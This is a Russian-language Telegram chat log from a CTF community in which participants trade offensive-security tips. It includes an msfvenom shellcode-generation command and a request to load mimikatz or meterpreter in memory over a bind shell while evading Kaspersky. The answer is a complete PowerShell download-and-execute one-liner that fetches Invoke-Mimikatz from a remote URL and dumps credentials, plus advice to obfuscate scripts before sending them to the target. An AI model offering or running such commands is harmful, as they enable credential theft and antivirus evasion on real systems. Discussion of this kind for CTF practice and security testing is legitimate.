Size: a a a

2020 September 22

KC

Kat3 Chrome in SPbCTF
Думал, что это будет самый быстрый вариант
источник

LB

Lex Bu in SPbCTF
Kat3 Chrome
Он генерит доку с нужной уязвимостью
Т.е. Ты хочешь посмотреть сработала уязвимость или нет, демонстрацией калькулятора?
источник

KC

Kat3 Chrome in SPbCTF
Yep)
источник

LB

Lex Bu in SPbCTF
Haki
можно так msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00\x0a\x0d\x01'
Ну вот это годно
источник

g

goaway in SPbCTF
Ребят , подскажите, пожалуйста, какой - нибудь простой способ импорта meter / mimikatz в память при наличии bind шела?
источник

%

%2🦠 in SPbCTF
invoke-mimikatz ?
источник

%

%2🦠 in SPbCTF
запуск метерпретера через текущий шелл?
источник

g

goaway in SPbCTF
%2🦠
запуск метерпретера через текущий шелл?
Да, но про условии Kasper a без записи на жёсткий
источник

DA

Danil Augustovich in SPbCTF
Pryanik
Те новый сезон только для питерских?
Если найдется человек, готовый монтировать сходки, то для всего мира)
источник

g

goaway in SPbCTF
%2🦠
invoke-mimikatz ?
Запуск повершела, а потом там импорт модуля?
источник

DT

Dmitriy T in SPbCTF
Danil Augustovich
Если найдется человек, готовый монтировать сходки, то для всего мира)
рускоговорящего мира
источник

DA

Danil Augustovich in SPbCTF
😡
источник

%

%2🦠 in SPbCTF
goaway
Запуск повершела, а потом там импорт модуля?
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

но с каспером не факт что получится
источник

g

goaway in SPbCTF
Нет доступа по вебу
источник

MF

Mr F in SPbCTF
Dmitriy T
рускоговорящего мира
а остальной мир не считается
источник

%

%2🦠 in SPbCTF
goaway
Нет доступа по вебу
а как ты подключился?
источник

g

goaway in SPbCTF
%2🦠
а как ты подключился?
Через bind
источник

b

b95wx1yFnB4 in SPbCTF
В burp-е я могу перехватывать пакеты которые отправляет мой телефон, а можно ли как то потделать ответ от сервера, поменять полученное значение на что то другое?
источник

%

%2🦠 in SPbCTF
goaway
Через bind
ну я бы тогда передал скриптец на конечную машину, предварительно обфусцировав. и смотреть дальше
источник

DT

Dmitriy T in SPbCTF
b95wx1yFnB4
В burp-е я могу перехватывать пакеты которые отправляет мой телефон, а можно ли как то потделать ответ от сервера, поменять полученное значение на что то другое?
можно
источник